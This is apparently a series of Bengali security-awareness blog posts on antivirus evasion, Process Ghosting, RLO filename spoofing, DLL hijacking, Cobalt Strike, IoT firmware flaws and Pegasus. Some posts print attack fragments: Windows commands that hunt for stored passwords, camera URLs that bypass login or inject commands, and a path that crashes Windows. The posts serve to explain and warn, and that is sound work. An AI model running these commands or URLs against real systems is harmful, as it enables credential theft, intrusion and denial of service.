অর্থাৎ, শুরুতে এবং শেষে % চিহ্ন দিতে হবে। আশা করি- এতোটুকু আলোচনা বুঝতে পেরেছেন।

এখন আপনি ছবিতে দেখানো ম্যালওয়্যারের code বুঝতে সক্ষম!

ছবির নিচে, বাম পাশে রয়েছে মূল কমান্ড যেমন-

start C:Users**\AppData\Roaming\....\ulib8b4.exe

সরাসরি এই কমান্ড দিলে এন্টি ভাইরাস এটাকে ম্যালওয়্যার হিসেবে শনাক্ত করে ফেলবে। কিন্তু, ম্যালওয়্যার প্রস্তুতকারী হ্যাকার সরাসরি কমান্ড না দিয়ে উপরে যেভাবে set a=1 কমান্ড দিয়ে a এর মান 1 করা হলো; সেভাবেই কমান্ডের বিভিন্ন অংশ প্রথমে অন্যের মান হিসেবে বসিয়েছে যেমন-

set a=start

set b=C:Users

set c=\

অর্থাৎ, start C:Users** কমান্ডের অল্পকিছু অংশ a, b, c ইত্যাদির মান হিসেবে বসানো হচ্ছে। তাই, এখন যদি নিচের কমান্ড দেওয়া হয়-

%a%%b%%c%

তাহলে, % চিহ্নের মাঝখানে a, b, c দেওয়ায় সেগুলোর মান হিসেবে মূল কমান্ড run হবে। অর্থাৎ, হ্যাকার এখানে সরাসরি কমান্ড না দিয়ে, প্রথমে কমান্ডের টুকরো টুকরো অংশকে a, b, c এর মান হিসেবে বসিয়ে তারপর a, b, c পাশাপাশি কমান্ড হিসেবে run করেছে।

কিন্তু, এন্টি ভাইরাস যেহেতু সরাসরি কমান্ড দেখতে পাচ্ছে না তাই, ম্যালওয়্যারটি এন্টি ভাইরাসকে ধোঁকা দিয়ে কম্পিউটারের ক্ষতি করতে সক্ষম হবে। বাস্তবে এই ম্যালওয়্যার যখন তৈরি করা হয়েছিলো তখন প্রায় কোন এন্টি ভাইরাসই এটাকে শনাক্ত করতে পারে নি।

ছবিতে বামদিকে যাকিছু রয়েছে, সেগুলোই ম্যালওয়্যারের মধ্যে লেখা ছিলো। আর, আমি সেগুলোর মান বের করে ডানদিকে লিখে দিয়েছি আপনাদের বোঝার সুবিধার্থে। মূলত, এন্টি ভাইরাসকে ধোঁকা দেওয়ার অসংখ্য উপায় রয়েছে। যেমনঃ প্রথমে একটি সাধারণ file পাঠানো হলো- যেটা সরাসরি কোন ক্ষতি করবে না। কিন্তু, সেই file কম্পিউটারে যাওয়ার পর ধাপে ধাপে ম্যালওয়্যার ডাউনলোড করে কাজ করবে। আর, এই পদ্ধতি নিয়েই আগামীকাল আলোচনা করার ইচ্ছা আছে।)))

মূলত, একটি ছোট staged ম্যালওয়্যার প্রেরণের পর সেটি Cobalt Strike থেকে ডাউনলোড করে। এরপর আক্রমণকারী ব্যক্তি Cobalt Strike এর beacon কে command দিবে এবং সেই অনুযায়ী কাজ হবে।

অল্প কিছুদিন আগে Cobalt Strike এর মধ্যে Spawn & Tunnel যুক্ত হয়েছে। সেই সাথে Cobalt Strike নিয়ে কাজ করার জন্য Python ল্যাঙ্গুয়েজের library পাওয়া যায় সম্পূর্ন বিনামূল্যে। তবে এসব কিছু ফ্রিতে পাওয়া গেলেও Cobalt Strike কিন্তু ফ্রি না। এটি ব্যাবহার করার জন্য বাৎসরিক মূল্য প্রায় ৩,০০,০০০ টাকা। এই মূল্যবান tool এর আক্রমণের মোকাবেলায় আপনি কতোটুকু প্রস্তুত?

ডার্ক ওয়েব থেকে ধারণকৃত ২ টি ওয়েবসাইট।

এগুলো হচ্ছে- Groove এবং Ramp নামক ২ টি ransomware এর ওয়েবসাইট। বিশেষভাবে লক্ষ্যণীয় যে, ২ টি ransomware এর বিটকয়েন একাউন্ট একই। এছাড়াও, ছবির নিচের অংশে ২ টি লিংক দেখা যাচ্ছে। এখানে রাশিয়ান ভাষায় লেখা আছে- "আমাদের ব্লগ"। কিন্তু, Ramp এর ওয়েবসাইটের এই লিংকটি মূলত Groove নামক আরেকটি ransomware এর ওয়েবসাইটের। সফটওয়্যারের মতোই এসব ransomware কেনা-বেঁচা করা হয়।

কম্পিউটারের মৃত file

কম্পিউটারের একটি file যখন delete করে দেওয়া হয়, তখন সেই file টি কম্পিউটারের কাছে মৃত। কিন্তু, এই মৃত file দিয়ে কম্পিউটারে অনেক কিছুই করা যায়। তার একটি উদাহরণ হচ্ছে Process Ghosting পদ্ধতি। আজকে এই বিষয়েই আলোচনা করবো।

মূল আলোচনাঃ Process Ghosting

কম্পিউটারে আপনি বিভিন্ন কাজ করেন আর, সেই কাজগুলো কম্পিউটারের কাছে একেকটি process। আর, Windows কম্পিউটারে process চালু হয়ে **.exe** file থেকে। প্রথমে যখন আপনি **.exe** file -এ ক্লিক করেন তখন কম্পিউটারের RAM (র‍্যাম)এর মধ্যে সেই file এর একটি image section তৈরি হয়। এরপর সেই image section থেকে process তৈরি হয়। কিন্তু, process টি চালু হওয়ার পর প্রথম thread (process এর ছোট অংশ) চালু না হওয়া পর্যন্ত সাধারণত এন্টি ভাইরাস সেটাকে scan করবে না। যদিও সেটা মালওয়্যার হোক না কেনো?

এখন Windows কম্পিউটারে **NtSetInformationFile** ব্যাবহার করে এমনভাবে file তৈরি করা যায় যে, file টি বন্ধ (close)

করার সাথে সাথেই delete হয়ে যাবে। তাই, একটি file এভাবে তৈরি করে সেই file এর মধ্যে ক্ষতিকর payload executable লিখে দিলে কম্পিউটারের র‍্যামের মধ্যে সেই file এর একটি image section তৈরি হবে। এরপর file টি close করে দিলেই এন্টি ভাইরাস আর সেটাকে scan করতে পারবে না। কারণ, file টি তো এখন মৃত (delete হয়ে গেছে)। কিন্তু, সেই file এর ক্ষতিকর সবকিছু তো কম্পিউটারের র‍্যামের মধ্যেই রয়েছে। তাই, এখন সেটা execute হয়ে যাবে; কোনপ্রকার এন্টি ভাইরাসের কাছে শনাক্ত না হয়ে।

এখন যদি প্রশ্ন করেন- কোন্ এন্টি ভাইরাস এটাকে শনাক্ত করতে পারবে? সেক্ষেত্রে, সরাসরি এন্টি ভাইরাসে যাচাই না করে বলা সম্ভব না। যদিও সময়ের সাথে সাথে প্রায় সকল এন্টি ভাইরাসই update হয়ে যাবে। তারপরও শুধুমাত্র শিক্ষামূলক ও সচেতনতার উদ্দেশ্যেই আজকের আলোচনা।

ম্যালওয়্যারের ডান-বাম ধোঁকা

কেমন হবে যদি একটি ম্যালওয়্যারের নাম লেখা হয় **metsyS** কিন্তু, আপনি সেটাকে **System** হিসেবে দেখতে পারেন? জি, এমনটা সম্ভব।

আপনি যদি আমার এন্টি ভাইরাস এবং ম্যালওয়্যার বিস্তারিত বইটি পড়ে থাকেন তাহলে নিশ্চয়ই Windows কম্পিউটারের Registry সম্বন্ধে জানেন। তো, একটি ম্যালওয়্যার যদি সেই Registry তে **metsyS** নামের ক্ষতিকর কিছু রাখে কিন্তু, আপনাকে সেটা উল্টিয়ে **System** হিসেবে দেখানো হয় তাহলে কিন্তু আপনি সেটাকে ক্ষতিকর কিছু মনে করবেন না। কারন, **System** এর মধ্যে কম্পিউটারের জরুরি file থাকাই স্বাভাবিক। কিন্তু, এটা তো আসলে **System** না বরং, **metsyS** -কে উল্টা করে **System** দেখানো হচ্ছে।

Registry তে ছবির মতোই **RLO** ব্যাবহার করে এটা করা সম্ভব। আর, file এর নাম এভাবে উল্টা করে দেখানোর জন্য **U+202e** character ব্যাবহার করা হয়। ফলে, একটি ক্ষতিকর file এর নাম আসলে থাকবে **fdp.exe** কিন্তু, আপনি দেখবেন **exe.pdf** এবং মনে হবে একটি pdf বই।

এই বিষয়টি কিন্তু মোটেও নতুন না। তবে, যারা জানেন না তাদেরকে সচেতন করার লক্ষ্যে আজকের এই আলোচনা। সবাইকে ধন্যবাদ।

File না থাকা যখন বিপদ

Windows কম্পিউটারে এমনকিছু পরিস্থিতি আসতে পারে- যখন নির্দিষ্ট নামের file না থাকলেই বিপদ হতে পারে। উদাহরণস্বরূপ Windows Task Scheduler এর কথা উল্লেখ করা যায়। এর মাধ্যমে কম্পিউটারে নির্দিষ্ট সময়ে প্রোগ্রাম run করানো যায়। কিন্তু, **a12d404** এর একটি গবেষণায় দেখানো হয়- Windows Task Scheduler যখন run করা হয় তখন WptsExtensions.dll নামক file -কে load করার চেষ্টা করে। অথচ, এই file কম্পিউটারে মূলত থাকেই না। তাই, একজন attacker যদি কম্পিউটার হ্যাক করে এবং এই WptsExtensions.dll নামের একটি ক্ষতিকর file কম্পিউটারে পাঠিয়ে দেয় তাহলেই সেই ক্ষতিকর file টি load হবে।

দ্বিতীয়ত, Internet Explorer নামক folder এর মধ্যকার ExtExport.exe এর কথা উল্লেখ করা যায়। এই ExtExport কে run করা হলে ৩ টি file -কে load করে-

* mozcrt19.dll,

* mozsqlite3.dll এবং

* sqlite3.dll।

তাই, একজন attacker যদি এই file গুলোর নামেই অন্য ক্ষতিকর file রেখে দেয় তাহলে সেই ক্ষতিকর file -কে ই load করা হবে। এগুলোকে LOLBin বলা হয়। বুঝতেই পারছেন- আপনাকে নিজে থেকে সতর্ক থাকতে হবে। শেষ পর্যন্ত পড়ার জন্য সবাইকে ধন্যবাদ।

Windows কম্পিউটারে পাসওয়ার্ড তালাশ

অনুমতি ব্যতীত অন্যের সিস্টেম হ্যাক করা অপরাধ! আপনাদেরকে সচেতন করার লক্ষ্যে আজকের এই আলোচনা; যাতে করে কম্পিউটারে এই ধরনের কার্যকলাপ হচ্ছে কিনা- তা যাচাই করে দেখতে পারেন।

মূল আলোচনা

একটি Windows কম্পিউটার হ্যাক হয়ে গেলে কম্পিউটারে বিদ্যমান user কেন্দ্রিক পাসওয়ার্ড হাঁতিয়ে নেওয়ার চেষ্টা করা হয়। এক্ষেত্রে Powershell ব্যাবহার করা হতে পারে।

অপরাধী ব্যক্তি প্রথমেই নিচের command দিয়ে C drive এর সকল file এর list করবে- dir /b /a /s c:\

এরপর list করা সকল file এর মধ্যে findstr দিয়ে খোঁজা হবে- কোন file এর মধ্যে password, pass, ssh, vnc ইত্যাদি লেখা আছে কিনা। যদি থাকে, তাহলে সেসকল file ইন্টারনেটের মাধ্যমে নিজের

কম্পিউটারে নিয়ে নিবে।

এছাড়াও, নিচের command গুলোর মাধ্যমে registry তে কোথাও password আছে কিনা, সেটাও খুঁজে দেখতে পারে-

> reg query <hive> /f pass /t REG_SZ /s

সেই সাথে, যেসকল file এর নামের মধ্যে sysprep, credentials, unattend, Token ইত্যাদি আছে সেগুলোও ইন্টারনেটের মাধ্যমে হাঁতিয়ে নেওয়ার (exfiltrate করার) চেষ্টা করতে পারে।

পরিশেষে আবারও বলবো- আপনাদেরকে সচেতন করার লক্ষ্যেই আজকের এই আলোচনা। আপনারা চাইলে এই ধরনের কার্যকলাপ কম্পিউটারে হচ্ছে কিনা- log events থেকে নিজেই যাচাই করে দেখতে পারেন। শেষ পর্যন্ত পড়ার জন্য ধন্যবাদ।

File সম্বন্ধে কতোটা জানেন?

কম্পিউটারের file কি আসলেই কখনো নষ্ট হয়?

একটি .jpg ছবি অনেক সময় ছবি হওয়ার পাশাপাশি java file -ও হতে পারে। এমনকি সেই ছবিটি যদি AES দিয়ে encrypt করেন, তাহলে সেই .jpg ছবি হয়ে যাবে .png ছবি। এমনকি অনেক সময় .jpg ছবির মধ্যেই আরেকটি .png ছবি যুক্ত থাকতে পারে। সেক্ষেত্রে, .jpg ছবিকে unzip করার মাধ্যমে .png ছবিটি পেতে হয়। এভাবে অনেক কিছুই যুক্ত করা যায়। যেমনঃ Windows কম্পিউটারে Powershell ব্যাবহার করে ছবির প্রতি pixel এর সাথে ক্ষতিকর payload এর ১ bit যুক্ত করে দেওয়া হচ্ছে অনেক সাইবার আক্রমণে। আবার, Windows কম্পিউটারের .docx কে rename করে .zip করে দিন; আসলেই .zip হয়ে যাবে এবং সেই .zip এর মধ্যে folder পেয়ে যাবেন।

বুঝতে পারছেন বিষয়টি? একই file নিয়ে বিভিন্ন অপারেশন করে বিভিন্ন রূপ দিয়ে দেওয়া সম্ভব।

আপনি নিশ্চয়ই জানেন- কম্পিউটার কাজ করে 0 আর, 1 বাইনারি পদ্ধতিতে। এখন আপনি যদি এই 0 আর, 1 নিয়ে কাজ করার শিক্ষা ও যোগ্যতা অর্জন করতে পারেন তাহলে আপনার কাছে কোন file ই মূলত

মূল্যহীন হবে না। এমনকি file এর মধ্যে কোন সমস্যা থাকলে কম্পিউটারের (ফাইল সিস্টেমের) কাছে file টি corrupted মনে হলেও, আপনি সেই file নিয়ে নিজে থেকেই অনেক কাজ করতে পারবেন। এমনকি corrupted অবস্থা থেকে ঠিকও করতে পারবেন অনেক ক্ষেত্রে। মনে রাখবেন, file এর আবিষ্কার কিন্তু মানুষই করেছে।

সাইবার অপরাধী খুঁজুন

ইন্টারনেটের বিশ্বে সাইবার অপরাধীদের থাবার শিকার হচ্ছেন অনেকেই। তবে, বেশিরভাগ ক্ষেত্রেই অপরাধীরা নিজের পরিচয় লুকিয়ে রাখে। তাই, আজকে সাইবার অপরাধীর পরিচয় উদঘটন করা নিয়েই কিছু পদ্ধতি উল্লেখ করছি-

Exif data ব্যাবহার করা

ক্যামেরায় ছবি তোলার সময় সেই ছবির সাথে বেশকিছু তথ্য যুক্ত হয়ে যায়, যাকে exif data বলে। এই exif data -র মধ্যে geolocation সহ ক্যামেরা বা, মোবাইলের বেশকিছু তথ্য থাকে। ফলে, অপরাধীর কাছ থেকে কোন ছবি আদায় করতে পারলে সেই ছবির exif data বিশ্লেষণ করে অপরাধীর ঠিকানা জানা যেতে পারে। এর মাধ্যমে যেই গুরুত্বপূর্ন বিষয়টি জানা যাবে সেটা হচ্ছে- অপরাধী আপনার নিজের এলাকাতেই থাকে কিনা?

তবে, এখানে ২ টি বিষয় মাথায় রাখবেন-

* exif data সহজেই delete করা যায়। ফলে, অপরাধী আপনাকে ছবি পাঠালেও exif data না থাকলে এসব তথ্য পাওয়া যাবে না।

* ফেসবুকে সাধারনত ছবির exif data মুছে দেওয়া হয়। তাই, ছবি নিতে হলে Gmail বা, এমন কোন মাধ্যম ব্যাবহার করতে হবে- যেটি exif

data মুছে ফেলে না।

এমন হতে পারে যে, ছবিটি যেই কোম্পানির মোবাইল দিয়ে তোলা হয়েছে, অপরাধীর লোকেশনে সেই কোম্পানির মোবাইল শুধুমাত্র ১ টাই রয়েছে। ফলে, এই exif data যুক্ত file সংগ্রহ করতে পারলে প্রশাসনের জন্য অপরাধীকে খুঁজে বের করা সহজ হবে।

Meta data ব্যাবহার করা

প্রত্যেক file এর সাথেই অসংখ্য পরিমাণ meta data থাকে। Windows কম্পিউটারে যেকোন folder -এ প্রবেশ করে উপরে থাকা drop down menu তে right click করে More -এ ক্লিক করলেই অসংখ্য meta data দেখার অপশন চলে আসবে। ফলে, অপরাধীর থেকে ছবি বা, অন্য কোন file নিতে পারলে সেই file এর এসব তথ্য থেকে সেই অপরাধী সম্বন্ধে অনেক গুরুত্বপুর্ন তথ্য সংগ্রহ করা যেতে পারে।

নিজের ওয়েবসাইট ব্যাবহার করা

আপনি নিজের ওয়েবসাইট ব্যাবহার করেও অপরাধীর ডিভাইস ও লোকেশন সম্বন্ধে কিছু তথ্য সংগ্রহ করতে পারবেন। যেমন- আপনার ওয়েবসাইটে এমন

একটি page create করলেন, যেই page এর লিংক কেউই জানে না। এখন সেই লিংক যদি অপরাধীকে message করে পাঠান তাহলে অপরাধী যখন সেই লিংকে ক্লিক করবে তখন আপনার ওয়েব সার্ভারে অপরাধীর ডিভাইস থেকে request আসবে এবং সেখানে অপরাধীর বেশকিছু তথ্য পেয়ে যাবেন।

এছাড়াও পরিস্থিতি ভেদে আরও অনেক পদ্ধতি প্রয়োগ করা যেতে পারে। তবে, সকল পদ্ধতিই সাধারন নাগরিক হিসেবে করা সম্ভব না। বরং, কিছু কিছু বিষয় একমাত্র প্রশাসনের দ্বারা করা সম্ভব।

পরিশেষে একটি কথাই বলবো- সাধারন অপরাধীর চেয়ে সাইবার অপরাধীরা নিজেদের চিহ্ন বেশি পরিমাণে ফেলে যায়। কারন, এসব অপরাধীদের অধিকাংশই জানে না- প্রতি মুহূর্তে কম্পিউটার সিস্টেমের কতো জায়গায় তাদের চিহ্ন লিপিবদ্ধ হয়ে যাচ্ছে। তাই, সাইবার জগতে অপরাধীদের থাবার শিকার হলে ঘাবড়ানো যাবে না; আবার, আইন নিজের হাতেও তুলে নেওয়া যাবে না। বরং, অপরাধীর ব্যাপারে সাধ্য মতো তথ্য সংগ্রহ করে প্রশাসনের কাছে যেতে হবে। আসুন, আমরা সাইবার অপরাধকে ঘৃণা করি, সচেতন থাকি।

পুরনো ম্যালওয়্যার নতুন রূপে

অনেক আগের একটি ম্যালওয়্যার নিয়ে বর্তমানে তেমন কেউ হয়তো ভাবছেন না। আর, এই সুযোগেই অপরাধীরা পুরনো ম্যালওয়্যারকে নতুন রূপে নিয়ে আসতে পারে। যেমন- ছবির screenshot টি প্রায় ১ মাস আগে একটি forum থেকে তুলেছিলাম। সেখানে একজন জানাচ্ছিলেন যে, **Gamarue.L** নামের অনেক পুরাতন ম্যালওয়্যার নতুনভাবে কিছু ল্যাপটপে পাওয়া গিয়েছে।

মূলত, পুরাতন ম্যালওয়্যারে কিছু পরিবর্তন আনার মাধ্যমেই নতুন রূপে ব্যাবহার করা যেতে পারে। যেমন ধরুন- সুপরিচিত **ILOVEYOU** ম্যালওয়্যার যখন কম্পিউটারে execute হতো, তখন শুরুতে নিচের instruction এর মাধ্যমে Internet Explorer এর start page পরিবর্তন করে দিতো-

Regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/****/WIN-BUGSFIX.exe"

কিন্তু, এখন তো Internet Explorer ব্যাবহার করা হয় না। তাই, এই instruction পরিবর্তন করার পাশাপাশি অন্যান্য ফাংশনালিটি কিছুটা

আপডেট করার মাধ্যমে অপরাধীরা এই পুরাতন ম্যালওয়্যার নতুনভাবে ব্যাবহার করতে-ও পারে। তাই দেখা যাচ্ছে, সিকিউরিটি সিস্টেমকে উন্নত না করে পিছিয়ে থাকার একদম সুযোগ নেই।।

প্রোগ্রামের ত্রুটিতে ডিভাইস বিপদে

ডিভাইসের FIRMWARE কেন্দ্রিক ত্রুটি

প্রত্যেক ডিভাইসের মধ্যেই কোম্পানি থেকে কিছু প্রোগ্রাম যুক্ত করে দেওয়া থাকে। এটাকে firmware বলা হয়। মনে করুন, ব্রাউজার দিয়ে ওয়াই-ফাই রাউটারের আইপি এড্রেসে গেলে ওয়েব ইন্টারফেস চলে আসে। সেখানে অনেক settings থাকে। তো, এই ইন্টারফেস দেখানোর জন্য কোম্পানি থেকেই রাউটারের মধ্যে firmware যুক্ত করে দেওয়া হয়েছে। এই firmware এর ত্রুটির কারণে সম্পুর্ন ডিভাইস-ই হ্যাক হয়ে যেতে পারে।

বাস্তব উদাহরণ

মনে করুন, আমরা একটি CC ক্যামেরার firmware ডাউনলোড করলাম। তো, firmware টি ZIP file হিসেবে ডাউনলোড হয়ে গেলো। এখন আমরা এটাকে unzip করলাম এবং .img file পেলাম। এর মধ্যে একটি file system আছে (অর্থাৎ, কিছু folder, file ইত্যাদি)। এখন সেই fle system এর মধ্যে প্রবেশ করতে আমরা mount করে ফেললাম এবং সেখানে CC ক্যামেরাটির অনেক source file পেলাম। এখানে আমরা দেখতে পেলাম যে, ওয়েব ব্রাউজার দিয়ে যদি CC ক্যামেরাটির নিচের লিংকে যাওয়া হয় তাহলে পাসওয়ার্ড না জানলেও

সাধারন user হিসেবে ক্যামেরার কিছু file এর access নেওয়া যাবে-

http://<IP address>/xadmin/test?u=dev

কিংবা ধরে নিলাম যে, পাসওয়ার্ড ছাড়া আমরা CC ক্যামেরার কোনকিছুই access নিতে পারবো না। কিন্তু, firmware দেখে আমরা অন্য একটি ত্রুটি খুঁজে পেলাম। সেটা হচ্ছে- ব্রাউজার দিয়ে CC ক্যামেরার নিচের লিংকে গেলে এবং লিংকের **q=** এর পরে (value হিসেবে) কোন command লিখে পাঠালে, command টি run হবে- http://<IP address>/update/fail?q=id

উপরের ২ টি উদাহরণ মূলত অনেকদিন আগের ডিভাইসের vulnerabiliy (ত্রুটি) এর আলোকে উল্লেখ করলাম। কিন্তু, বর্তমান সময়ের ডিভাইসেও অসংখ্য vulnerabiliy থাকতে পারে। ফলে, একজন আক্রমণকারী যেহেতু সেই কোম্পানির ডিভাইসের ত্রুটি খুঁজে পেয়েছে তাই, এখন আক্রমণকারী ব্যক্তি Shodan এর মতো সার্চ ইঞ্জিন থেকে সেই ডিভাইসগুলো search করবে এবং খুঁজে পেলে attack করবে। কিন্তু, এটা কিভাবে সম্ভব হলো? এটা সম্ভব হয়েছে ডিভাইসের firmware নামক প্রোগ্রামের ত্রুটির কারনে। ফলে, প্রোগ্রামের প্রোগ্রামের ত্রুটিতে এখন ডিভাইস বিপদে।

কম্পিউটারে আক্রমণ হচ্ছে? আপনার কম্পিউটার নিরাপদ রাখুন

ইন্টারনেট থেকে প্রতিদিনই অনেকের কম্পিউটারে attack আসছে। বিষয়টি পরীক্ষা করতে একটি সাইবার সিকিউরিটি team তাদের Windows কম্পিউটারকে ইন্টারনেটের সাথে যুক্ত করে RDP নামক একটি সার্ভিস চালু করে দিয়েছিলো। অল্প কয়েক সেকেন্ডের মধ্যেই ইন্টারনেট থেকে তাদের কম্পিউটারের RDP -র ওপর **brute force** attack আসতে শুরু করে!

অপরাধীরা কম্পিউটারের সন্ধান পায় কিভাবে?

আপনি যেভাবে Google সার্চ করে তথ্য সংগ্রহ করেন, সেভাবেই ইন্টারনেটে সংযুক্ত থাকা ডিভাইসকেও সার্চ করার সার্চ ইঞ্জিন আছে। উদাহরণস্বরূপ এই post এর ছবিতে দেখতে পাচ্ছেন- সার্চ করার মাধ্যমে কিভাবে RDP চালু থাকা কম্পিউটার খুঁজে বের করা হয়েছে। এখন শুধু এসকল কম্পিউটারে আক্রমণের অপেক্ষা।

*****নিরাপদ থাকার উপায়*****

আপনি Windows কম্পিউটার ব্যাবহার করলে Event Viewer ব্যাবহার করে দেখতে পারবেন- আপনার কম্পিউটারে কি কি হচ্ছে। আর, Linux কম্পিউটারে /var/log এর মধ্যে log দেখতে পারবেন। তবে, এসবের মধ্যে সন্দেহজনক কোনকিছু দেখতে না পেলেও আপনি ইন্টারনেটের সাথে সংযুক্ত বিভিন্ন সার্ভিস যেমন- RDP কে প্রয়োজন না থাকলে বন্ধ রাখুন, শক্তিশালী পাসওয়ার্ড ব্যাবহার করুন এবং **brute force** attack প্রতিরোধে rate limitation ফাংশনালিটি ব্যাবহার করুন। এছাড়াও SMTP, SMB ইত্যাদি সার্ভিসের ওপরও **brute force** attack আসতে পারে; তাই, সেদিকেও নজর রাখুন, নিরাপদ থাকুন। ধন্যবাদ।

কিছু হ্যাকিং পদ্ধতি

কম্পিউটার সিস্টেম নিরাপদ রাখার চেয়ে হ্যাক করা সহজ। এমন অনেক হ্যাকিং পদ্ধতি আছে যেগুলো সফলভাবে সম্পন্ন হওয়ায় কেউ জানতেই পারে নি। কিন্তু, যেসকল হ্যাকিং পদ্ধতি প্রকাশ পেয়েছে, সেগুলোর আলাদা আলাদা নাম রয়েছে। এরকম ৩ টি হ্যাকিং পদ্ধতি সম্বন্ধে নিচে আলোচনা করা হলো-

Clickjacking

আপনি হয়তো খেয়াল করেছেন যে, একটি ওয়েবসাইটে আরেক ওয়েবসাইটের page দেখানো যায়। আবার, ওয়েবসাইটের মধ্যে কোনকিছু অদৃশ্য করে রাখাও সম্ভব। যেমন-

* সাদা রঙের ওয়েব পেইজের ওপর সাদা লেখা থাকলে সেটা দেখা যাবে না।

* HTML ব্যাবহার করে কোন উপাদানকে শূন্য opacity দিলে দেখা যাবে না।

এভাবে সাইবার অপরাধীরা ওয়েবসাইটে একটি উপাদানকে গোপন রেখে বা, অন্য ক্ষতিকর ওয়েবসাইটের অংশ তার নিজের ওয়েবসাইটে দেখিয়ে তাতে

ক্লিক করিয়ে যেই হ্যাকিং করে, তাকে **Clickjacking** আক্রমণ বলে।

Buffer overflow

উপরের **Clickjacking** আক্রমণ করা যতোটা সহজ, **Buffer overflow** আক্রমণ করা ততোটাই কঠিন। তবে, আপনাদের কাছে সহজভাবেই এর পরিচয় তুলে ধরার চেষ্টা করছি-

কম্পিউটারের মেমোরি (RAM) এর মধ্যে কিছু অংশ বা স্থানকে buffer বলে। এর মধ্যে ক্ষণস্থায়ী data রাখা হয় যেমনঃ কি-বোর্ডে কিছু লিখলেন, সেটা প্রসেসরে যাওয়ার আগে যদি কিছুক্ষণ অপেক্ষা করতে হয় তাহলে, CPU থেকে একটি scheduling সময় নিয়ে buffer এর মধ্যে অপেক্ষা করবে। এখন মনে করুন- আপনি একটি notepad এ কিছু লিখলেন। সেই notepad এর প্রত্যেক লাইনে সর্বোচ্চ ৯০ টি অক্ষর লেখা যায়। তাই, ৯০ অক্ষরে প্রত্যেক লাইন লিখে save করার পর আপনি যদি সেই file এমন কোন notepad দিয়ে open করেন, যেই notepad এর প্রত্যেক লাইনে সর্বোচ্চ ৮০ টি অক্ষর রাখা সম্ভব তাহলে, বাকি ১০ টি অক্ষর এমন buffer এর মধ্যে চলে যাবে- যেখানে অন্যকিছু ছিলো। এখন একজন হ্যাকার প্রথমে জানার চেষ্টা করবে- সফটওয়্যারের কোন অংশটুকু অন্য buffer এ যাচ্ছে। এরপর সেখানে ক্ষতিকর কিছু (exploit) লিখে দিয়ে যেই আক্রমণ করা হয় তাকে **buffer overflow** আক্রমণ বলে। যদিও এটা শুধুমাত্র একটি ধারনা দিলাম। অনেক কিছুই লিখলাম না

যাতে খুব কঠিন না হয়ে যায়।

C2 অথবা C&C

একটি কম্পিউটার এমনভাবে হ্যাক করা হলো যে, হ্যাকার দুরে থেকেই সেই কম্পিউটারকে command দিবে আর, কম্পিউটারটি সেই অনুযায়ী control হবে। এটাই হচ্ছে C2 বা, C&C পদ্ধতি। এমনকি কম্পিউটারটি off করে আবার চালু করলেও হ্যাকারের নিয়ন্ত্রণ থেকে যায়। এটা অনেক আগে থেকেই হয়ে আসছে। যেমনঃ ২০০০ সালে Washington University -র মেডিকেল সেন্টারের তথ্য হ্যাক হয়ে যায়। সেই সময় কর্তৃপক্ষ ভেবেছিলো- তারা হ্যাকারকে আটকাতে পেরেছে। কিন্তু, ৬ মাস পর Kane নামক হ্যাকার একজন সাংবাদিককে জানায় যে, তিনি কি কি তথ্য হ্যাক করেছেন। তিনি হ্যাকার গ্রুপ cDc এর তৈরি করা BO2K ব্যাবহার করে সেই মেডিকেল সেন্টারের নেটওয়ার্কে গোপনে অবস্থান করছিলেন।

মূলত, হ্যাকারদের হ্যাকিং পদ্ধতির শেষ নেই। আর, অনেক হ্যাকিং পদ্ধতি এখনও অজানা। তবে, পরিচিত হ্যাকিং পদ্ধতিগুলো সম্বন্ধে জানার চেষ্টা করুন। যাতে করে, আপনার কম্পিউটার সিস্টেমে সেই পদ্ধতিতে হ্যাক করার সুযোগ আছে কিনা- সেটা যাচাই করতে পারেন।

পেগাসাস সোর্স কোড ফাঁস?

পেগাসাস নামক spyware নিয়ে উত্তাল সারা বিশ্ব। ঠিক সেই মুহূর্তে **vx-underground** নিয়ে এসেছে Pegasus এর sample! এটি github থেকে ডাউনলোড করা হচ্ছে। যদিও, এটা সত্যিই Pegasus কিনা কিংবা, পরিপূর্ণ sample কিনা, সেই বিষয়ে নিশ্চিত হওয়া যাচ্ছে না।

উল্লেখ করার কারন

এই বিষয়টি এই কারনেই উল্লেখ করলাম- যাতে করে আপনি সতর্ক থাকতে পারেন।

EA FIFA সোর্স কোড ফাঁস?

ইন্টারনেটে একটি ফোরামে leak হওয়া data বিক্রি করা হয়। সেখানেই **EA FIFA** এর সোর্স ফাঁস করার দৃশ্য দেখা যাচ্ছে। যেখানে প্রায় 700GB file এর লিংক share করা হয়েছে।

ইন্টারনেট এখন আর আমাদের জীবনের আলাদা অংশ না। বরং, ইন্টারনেটকে ঘিরেই আমাদের জীবন। তাই, সেই ইন্টারনেট ব্যাবহার করুন-সচেতনতার সাথে।

পেগাসাস স্পাইওয়্যার

Pegasus স্পাইওয়্যার নিয়ে দেশের সচেতন মহল অনেক উদ্বিগ্ন। কারন, শুধুমাত্র call পাঠানোর মাধ্যমেই নাকি এটি install হয়ে যায়। তাই, একজন ব্যক্তি যদি কোন ক্ষতিকর লিংকে ক্লিক না-ও করেন, তারপরও রক্ষা নেই!

মূলত, উন্নত দেশে সন্দেহভাজন ব্যক্তির ওপর নজরদারি করার লক্ষ্যে রাষ্ট্রীয়ভাবে spyware (সফটওয়্যার) ব্যাবহার করা হয়। এটা সেই দেশের আইনে বৈধ। Pegasus এমনই একটি স্পাইওয়্যার। যদিও, এটি বেশ পুরনো ম্যালওয়্যার কিন্তু, এই বিষয়ে নতুনভাবে চাঞ্চল্যকর পরিস্থিতি তৈরি হয়েছে। কারন, পূর্বে এটি install করানোর জন্য লিংকে ক্লিক করতে হতো। কিন্তু, বর্তমানে কোনকিছুতে ক্লিক করা ছাড়াই install করানো সম্ভব। তাই, এটি এখন zero-click attack এর অন্তর্ভুক্ত।

সাধারন সিম কার্ডে (সেলুলার নেটওয়ার্কে) call করার মাধ্যমে ম্যালওয়্যার install করিয়ে দেওয়া মোটামুটি অসম্ভব। এই ধরনের call বা, message এর মাধ্যমে বড়জোর আপনার মোবাইল reboot করানো যেতে পারে। যেমন- শুধুমাত্র **=** চিহ্ন কিংবা এরকম বিশেষ কিছু লিখে message করলে হয়তো মোবাইল অটোমেটিক restart হবে। আবার,

Windows কম্পিউটারে ওয়েব ব্রাউজার দিয়ে নিচের file path টি open করলে হয়তো নীল দৃশ্য (BSOD) চলে আসবে-

\\.\globalroot\device\condrv\kernelconnect

